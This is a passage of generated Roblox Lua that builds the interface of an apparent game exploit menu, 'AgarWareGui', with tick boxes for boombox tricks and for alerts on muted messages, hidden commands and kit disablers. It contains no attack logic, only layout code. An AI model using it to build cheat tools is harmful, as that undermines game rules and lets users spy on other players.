G2L["284"] = Instance.new("TextButton", G2L["282"]); G2L["284"]["TextSize"] = 14; G2L["284"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["284"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["284"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["284"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["284"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["284"]["Text"] = [[]]; G2L["284"]["Name"] = [[ClickBoomTickBox]]; G2L["284"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.ClickBoomRow.ClickBoomText G2L["285"] = Instance.new("TextLabel", G2L["282"]); G2L["285"]["BorderSizePixel"] = 0; G2L["285"]["TextSize"] = 14; G2L["285"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["285"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["285"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["285"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["285"]["BackgroundTransparency"] = 1; G2L["285"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["285"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["285"]["Text"] = [[Click to Log]]; G2L["285"]["Name"] = [[ClickBoomText]]; G2L["285"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.AutoPlayRow G2L["286"] = Instance.new("Frame", G2L["272"]); G2L["286"]["BorderSizePixel"] = 0; G2L["286"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["286"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["286"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["286"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["286"]["Name"] = [[AutoPlayRow]]; G2L["286"]["LayoutOrder"] = 3; G2L["286"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.AutoPlayRow.AutoPlayScript G2L["287"] = Instance.new("LocalScript", G2L["286"]); G2L["287"]["Name"] = [[AutoPlayScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.AutoPlayRow.AutoPlayChanger G2L["288"] = Instance.new("TextBox", G2L["286"]); G2L["288"]["Name"] = [[AutoPlayChanger]]; G2L["288"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["288"]["TextWrapped"] = true; G2L["288"]["TextSize"] = 14; G2L["288"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["288"]["TextScaled"] = true; G2L["288"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["288"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["288"]["PlaceholderText"] = [[(142376088)]]; G2L["288"]["Size"] = UDim2.new(0, 134, 0, 16); G2L["288"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0); G2L["288"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["288"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.AutoPlayRow.AutoPlayTickBox G2L["289"] = Instance.new("TextButton", G2L["286"]); G2L["289"]["TextSize"] = 14; G2L["289"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["289"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["289"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["289"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["289"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["289"]["Text"] = [[]]; G2L["289"]["Name"] = [[AutoPlayTickBox]]; G2L["289"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.DisableBoomboxRow G2L["28a"] = Instance.new("Frame", G2L["272"]); G2L["28a"]["BorderSizePixel"] = 0; G2L["28a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["28a"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["28a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["28a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["28a"]["Name"] = [[DisableBoomboxRow]]; G2L["28a"]["LayoutOrder"] = 2; G2L["28a"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.DisableBoomboxRow.DisableBoomboxScript G2L["28b"] = Instance.new("LocalScript", G2L["28a"]); G2L["28b"]["Name"] = [[DisableBoomboxScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.DisableBoomboxRow.DisableBoomboxTickBox G2L["28c"] = Instance.new("TextButton", G2L["28a"]); G2L["28c"]["TextSize"] = 14; G2L["28c"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["28c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["28c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["28c"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["28c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["28c"]["Text"] = [[]]; G2L["28c"]["Name"] = [[DisableBoomboxTickBox]]; G2L["28c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.DisableBoomboxRow.DisableBoomboxText G2L["28d"] = Instance.new("TextLabel", G2L["28a"]); G2L["28d"]["BorderSizePixel"] = 0; G2L["28d"]["TextSize"] = 14; G2L["28d"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["28d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["28d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["28d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["28d"]["BackgroundTransparency"] = 1; G2L["28d"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["28d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["28d"]["Text"] = [[Disable Boombox UI]]; G2L["28d"]["Name"] = [[DisableBoomboxText]]; G2L["28d"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxRow G2L["28e"] = Instance.new("Frame", G2L["272"]); G2L["28e"]["BorderSizePixel"] = 0; G2L["28e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["28e"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["28e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["28e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["28e"]["Name"] = [[EquipBoomboxRow]]; G2L["28e"]["LayoutOrder"] = 12; G2L["28e"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxRow.EquipBoomboxScript G2L["28f"] = Instance.new("LocalScript", G2L["28e"]); G2L["28f"]["Name"] = [[EquipBoomboxScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxRow.EquipBoomboxButton G2L["290"] = Instance.new("TextButton", G2L["28e"]); G2L["290"]["TextSize"] = 14; G2L["290"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["290"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["290"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["290"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["290"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["290"]["Text"] = [[Equip 1 Boombox (echo)]]; G2L["290"]["Name"] = [[EquipBoomboxButton]]; G2L["290"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxesRow G2L["291"] = Instance.new("Frame", G2L["272"]); G2L["291"]["BorderSizePixel"] = 0; G2L["291"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["291"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["291"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["291"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["291"]["Name"] = [[EquipBoomboxesRow]]; G2L["291"]["LayoutOrder"] = 11; G2L["291"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxesRow.EquipBoomboxesScript G2L["292"] = Instance.new("LocalScript", G2L["291"]); G2L["292"]["Name"] = [[EquipBoomboxesScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxesRow.EquipBoomboxesButton G2L["293"] = Instance.new("TextButton", G2L["291"]); G2L["293"]["TextSize"] = 14; G2L["293"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["293"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["293"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["293"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["293"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["293"]["Text"] = [[Equip All Boomboxes]]; G2L["293"]["Name"] = [[EquipBoomboxesButton]]; G2L["293"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide G2L["294"] = Instance.new("Frame", G2L["246"]); G2L["294"]["BorderSizePixel"] = 0; G2L["294"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["294"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["294"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0); G2L["294"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["294"]["Name"] = [[TCOMiscRightSide]]; G2L["294"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.UIListLayout G2L["295"] = Instance.new("UIListLayout", G2L["294"]); G2L["295"]["Padding"] = UDim.new(0, 7); G2L["295"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup G2L["296"] = Instance.new("Frame", G2L["294"]); G2L["296"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["296"]["BorderMode"] = Enum.BorderMode.Middle; G2L["296"]["Size"] = UDim2.new(0, 170, 0, 144); G2L["296"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["296"]["Name"] = [[AlertGroup]]; G2L["296"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.AlertScript G2L["297"] = Instance.new("LocalScript", G2L["296"]); G2L["297"]["Name"] = [[AlertScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.UIListLayout G2L["298"] = Instance.new("UIListLayout", G2L["296"]); G2L["298"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.AlertAccentColor G2L["299"] = Instance.new("Frame", G2L["296"]); G2L["299"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["299"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["299"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["299"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["299"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["299"]["Name"] = [[AlertAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.AlertTitle G2L["29a"] = Instance.new("TextLabel", G2L["296"]); G2L["29a"]["TextWrapped"] = true; G2L["29a"]["BorderSizePixel"] = 0; G2L["29a"]["TextSize"] = 14; G2L["29a"]["TextScaled"] = true; G2L["29a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["29a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["29a"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["29a"]["BackgroundTransparency"] = 0.95; G2L["29a"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["29a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["29a"]["Text"] = [[Chat Alerts]]; G2L["29a"]["LayoutOrder"] = 1; G2L["29a"]["Name"] = [[AlertTitle]]; G2L["29a"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.AlertTitle.AlertMinimize G2L["29b"] = Instance.new("TextButton", G2L["29a"]); G2L["29b"]["BorderSizePixel"] = 0; G2L["29b"]["TextSize"] = 14; G2L["29b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["29b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["29b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["29b"]["BackgroundTransparency"] = 1; G2L["29b"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["29b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["29b"]["Text"] = [[-]]; G2L["29b"]["Name"] = [[AlertMinimize]]; G2L["29b"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.DonateSpyRow G2L["29c"] = Instance.new("Frame", G2L["296"]); G2L["29c"]["BorderSizePixel"] = 0; G2L["29c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["29c"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["29c"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["29c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["29c"]["Name"] = [[DonateSpyRow]]; G2L["29c"]["LayoutOrder"] = 6; G2L["29c"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.DonateSpyRow.DonateSpyTickBox G2L["29d"] = Instance.new("TextButton", G2L["29c"]); G2L["29d"]["TextSize"] = 14; G2L["29d"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["29d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["29d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["29d"]["ZIndex"] = 5; G2L["29d"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["29d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["29d"]["Text"] = [[]]; G2L["29d"]["Name"] = [[DonateSpyTickBox]]; G2L["29d"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.DonateSpyRow.DonateSpyText G2L["29e"] = Instance.new("TextLabel", G2L["29c"]); G2L["29e"]["BorderSizePixel"] = 0; G2L["29e"]["TextSize"] = 14; G2L["29e"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["29e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["29e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["29e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["29e"]["BackgroundTransparency"] = 1; G2L["29e"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["29e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["29e"]["Text"] = [[Alert Donations]]; G2L["29e"]["Name"] = [[DonateSpyText]]; G2L["29e"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.MutedSpyRow G2L["29f"] = Instance.new("Frame", G2L["296"]); G2L["29f"]["BorderSizePixel"] = 0; G2L["29f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["29f"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["29f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["29f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["29f"]["Name"] = [[MutedSpyRow]]; G2L["29f"]["LayoutOrder"] = 6; G2L["29f"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.MutedSpyRow.MutedSpyTickBox G2L["2a0"] = Instance.new("TextButton", G2L["29f"]); G2L["2a0"]["TextSize"] = 14; G2L["2a0"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2a0"]["ZIndex"] = 5; G2L["2a0"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["2a0"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2a0"]["Text"] = [[]]; G2L["2a0"]["Name"] = [[MutedSpyTickBox]]; G2L["2a0"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.MutedSpyRow.MutedSpyText G2L["2a1"] = Instance.new("TextLabel", G2L["29f"]); G2L["2a1"]["BorderSizePixel"] = 0; G2L["2a1"]["TextSize"] = 14; G2L["2a1"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2a1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2a1"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2a1"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2a1"]["BackgroundTransparency"] = 1; G2L["2a1"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["2a1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a1"]["Text"] = [[Alert Muted Msgs]]; G2L["2a1"]["Name"] = [[MutedSpyText]]; G2L["2a1"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.EnlightenLogRow G2L["2a2"] = Instance.new("Frame", G2L["296"]); G2L["2a2"]["BorderSizePixel"] = 0; G2L["2a2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2a2"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["2a2"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["2a2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a2"]["Name"] = [[EnlightenLogRow]]; G2L["2a2"]["LayoutOrder"] = 7; G2L["2a2"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.EnlightenLogRow.EnlightenLogScript G2L["2a3"] = Instance.new("LocalScript", G2L["2a2"]); G2L["2a3"]["Name"] = [[EnlightenLogScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.EnlightenLogRow.EnlightenLogTickBox G2L["2a4"] = Instance.new("TextButton", G2L["2a2"]); G2L["2a4"]["TextSize"] = 14; G2L["2a4"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2a4"]["ZIndex"] = 5; G2L["2a4"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["2a4"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2a4"]["Text"] = [[]]; G2L["2a4"]["Name"] = [[EnlightenLogTickBox]]; G2L["2a4"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.EnlightenLogRow.EnlightenLogText G2L["2a5"] = Instance.new("TextLabel", G2L["2a2"]); G2L["2a5"]["BorderSizePixel"] = 0; G2L["2a5"]["TextSize"] = 14; G2L["2a5"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2a5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2a5"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2a5"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2a5"]["BackgroundTransparency"] = 1; G2L["2a5"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["2a5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a5"]["Text"] = [[Alert Enlighteners]]; G2L["2a5"]["Name"] = [[EnlightenLogText]]; G2L["2a5"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.ArkSpyRow G2L["2a6"] = Instance.new("Frame", G2L["296"]); G2L["2a6"]["BorderSizePixel"] = 0; G2L["2a6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2a6"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["2a6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["2a6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a6"]["Name"] = [[ArkSpyRow]]; G2L["2a6"]["LayoutOrder"] = 6; G2L["2a6"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.ArkSpyRow.ArkSpyTickBox G2L["2a7"] = Instance.new("TextButton", G2L["2a6"]); G2L["2a7"]["TextSize"] = 14; G2L["2a7"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2a7"]["ZIndex"] = 5; G2L["2a7"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["2a7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2a7"]["Text"] = [[]]; G2L["2a7"]["Name"] = [[ArkSpyTickBox]]; G2L["2a7"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.ArkSpyRow.ArkSpyText G2L["2a8"] = Instance.new("TextLabel", G2L["2a6"]); G2L["2a8"]["BorderSizePixel"] = 0; G2L["2a8"]["TextSize"] = 14; G2L["2a8"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2a8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2a8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2a8"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2a8"]["BackgroundTransparency"] = 1; G2L["2a8"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["2a8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a8"]["Text"] = [[Alert Hidden Cmds]]; G2L["2a8"]["Name"] = [[ArkSpyText]]; G2L["2a8"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.BkitDeleteRow G2L["2a9"] = Instance.new("Frame", G2L["296"]); G2L["2a9"]["BorderSizePixel"] = 0; G2L["2a9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2a9"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["2a9"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["2a9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a9"]["Name"] = [[BkitDeleteRow]]; G2L["2a9"]["LayoutOrder"] = 7; G2L["2a9"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.BkitDeleteRow.BkitDeleteScript G2L["2aa"] = Instance.new("LocalScript", G2L["2a9"]); G2L["2aa"]["Name"] = [[BkitDeleteScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.BkitDeleteRow.BkitDeleteTickBox G2L["2ab"] = Instance.new("TextButton", G2L["2a9"]); G2L["2ab"]["TextSize"] = 14; G2L["2ab"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["2ab"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2ab"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2ab"]["ZIndex"] = 5; G2L["2ab"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["2ab"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2ab"]["Text"] = [[]]; G2L["2ab"]["Name"] = [[BkitDeleteTickBox]]; G2L["2ab"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.BkitDeleteRow.BkitDeleteText G2L["2ac"] = Instance.new("TextLabel", G2L["2a9"]); G2L["2ac"]["BorderSizePixel"] = 0; G2L["2ac"]["TextSize"] = 14; G2L["2ac"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2ac"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2ac"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2ac"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2ac"]["BackgroundTransparency"] = 1; G2L["2ac"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["2ac"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2ac"]["Text"] = [[Alert Bkit Disabler]]; G2L["2ac"]["Name"] = [[BkitDeleteText]]; G2L["2ac"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.RepPaintsRow G2L["2ad"] = Instance.new("Frame", G2L["296"]); G2L["2ad"]["BorderSizePixel"] = 0; G2L["2ad"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2ad"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["2ad"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["2ad"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2ad"]["Name"] = [[RepPaintsRow]]; G2L["2ad"]["LayoutOrder"] = 8; G2L["2ad"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.RepPaintsRow.RepPaintsScript G2L["2ae"] = Instance.new("LocalScript", G2L["2ad"]); G2L["2ae"]["Name"] = [[RepPaintsScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.RepPaintsRow.RepPaintsTickBox G2L["2af"] = Instance.new("TextButton", G2L["2ad"]); G2L["2af"]["TextSize"] = 14; G2L["2af"]["TextColor3"] = 